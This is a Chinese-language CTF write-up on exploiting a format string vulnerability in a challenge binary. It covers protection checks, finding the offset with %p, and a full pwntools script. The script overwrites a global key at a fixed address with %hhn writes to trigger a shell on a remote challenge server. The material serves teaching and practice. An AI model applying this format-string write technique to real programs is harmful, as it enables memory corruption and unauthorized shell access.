查詢一下文件信息:
】
開啓了NX(棧不可執行)和cannary(棧溢出檢測):
使用IDA PRO查看一下程序流程:
沒有發現棧溢出,但是在printf處有字符串格式化漏洞
分析得到要使用字符串格式化漏洞去修改key的值然後去執行getshell
想要覆蓋任意地址要滿足以下幾個條件:
1.要覆蓋的地址
2.確定偏移(s是printf的第幾個參數或者s在格式字符串中是第幾個參數)
IDA PRO中查找key對應的地址:0804A030
尋找偏移
使用[tag]%p%p%p%p%p%p...去尋找偏移
計算得到s在格式字符串中是第7參數(printf函數的第8個參數)
注意:這裏的key值是一個dd類型的數據(雙字,4字節),而要比較的是一個8字節,所以要用到覆蓋大數字的技巧(參考結尾的鏈接)
EXP
#! /usr/bin/env python from pwn import * def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = "%" + str(result) + "c" elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn" return fmtstr /** offset 表示要覆蓋的地址最初的偏移(格式字符串的第n個參數) size 表示機器字長 addr 表示將要覆蓋的地址。 target 表示我們要覆蓋爲的目的變量值。 **/ def fmt_str(offset, size, addr, target): payload = "" for i in range(4): if size == 4: payload += p32(addr + i) else: payload += p64(addr + i) prev = len(payload) for i in range(4): payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) prev = (target >> i * 8) & 0xff return payload def forb(): #sh = process('./coverme') sh=remote('120.79.17.251',10011) payload = fmt_str(7, 4, 0x0804A030, 0x5201314) #gdb.attach(sh) sh.sendline(payload) sh.recv() sh.interactive() forb()
參考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit-zh/(任意地址覆蓋->覆蓋大數字)